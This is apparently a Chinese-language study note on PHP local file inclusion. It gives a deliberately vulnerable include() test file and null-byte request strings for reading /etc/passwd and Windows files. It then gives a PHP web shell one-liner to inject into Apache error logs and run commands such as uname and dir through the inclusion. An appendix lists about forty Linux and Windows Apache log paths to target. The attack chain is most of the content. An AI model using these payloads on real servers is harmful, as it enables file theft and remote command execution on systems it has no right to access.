這次學習的主要參考資料是：http://downloads.ackack.net/LocalFileInclusion.pdf
實驗代碼：
如果是在linux上，直接提交：test.php?for=/etc/passwd%00即可顯示該文件。
<?php
include($_GET['for'].‘.php’);//用于測試本地包含漏洞
?>
如果是在win上，提交：test.php?for=D:\tools\readme.txt%00，就可以了，跨目錄跨盤符。這里要注意，對于過多的”..\”，360會自動攔截，比較好的辦法是使用ie或者ff。
但是光是瀏覽文件是不夠的，我們還需要webshell。可以使用log injection的方法。這也是我作這個記錄的主要目的，這才是重點所在。
這里，思想的核心是要將php代碼注入到log中，比如，我們可以將：
<?php $s=$_GET;@chdir($s['x']);echo @system($s['y'])?>
注入進去（瀏覽器的自動更改實在太煩人）。注：friddle2不會對針對本機的訪問過濾，我就輸入本機的地址：192.168.0.1。
然后訪問：test.php?for=/var/log/apache/logs/error_log%00&x=/&y=uname，這是針對linux。如果平臺切換到win，可以訪問：test.php?for=..\apache\logs\error.log%00&x=.y=dir，會顯示當前目錄文件。
當然，我們也可以將日志記錄到access.log里，但那樣會更復雜一些，因為需要包含的文件會更大。
參考文獻還提到了：使用linux的/proc/self/fd進行注入的方法，我對linux不熟悉，所以也沒有細看，以后需要的時候再了解吧。
額外的發現：
360瀏覽器有個奇怪的特性，當訪問http://www.baidu.com/search/error.html%00../../../../../../tools后，會訪問一下目錄：D:\Program files\360se\tools 看看有沒有這個文件夾，這里有問題吧？TDH
D:\Program files\360se\360se3\http:\apache\logs\error.log%00&y=dir和http://192.168.0.1:88/test.php?for=..\..\..\apache\logs\error.log%00&y=dir，這兩者之間的關系是怎么得來的？
附錄：
1、可能的log路徑、
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/thttpd_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/thttpd_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
C:\apache\logs\access.log
C:\apache\logs\error.log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\program files\wamp\apache2\logs
C:\wamp\apache2\logs
C:\wamp\logs
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
渝公網安備 50024202000196號
域名注冊知識
虛擬主機知識
網站建設知識
網絡推廣知識
網絡營銷知識
常見技術問題
QQ空間
新浪微博
開心網
人人網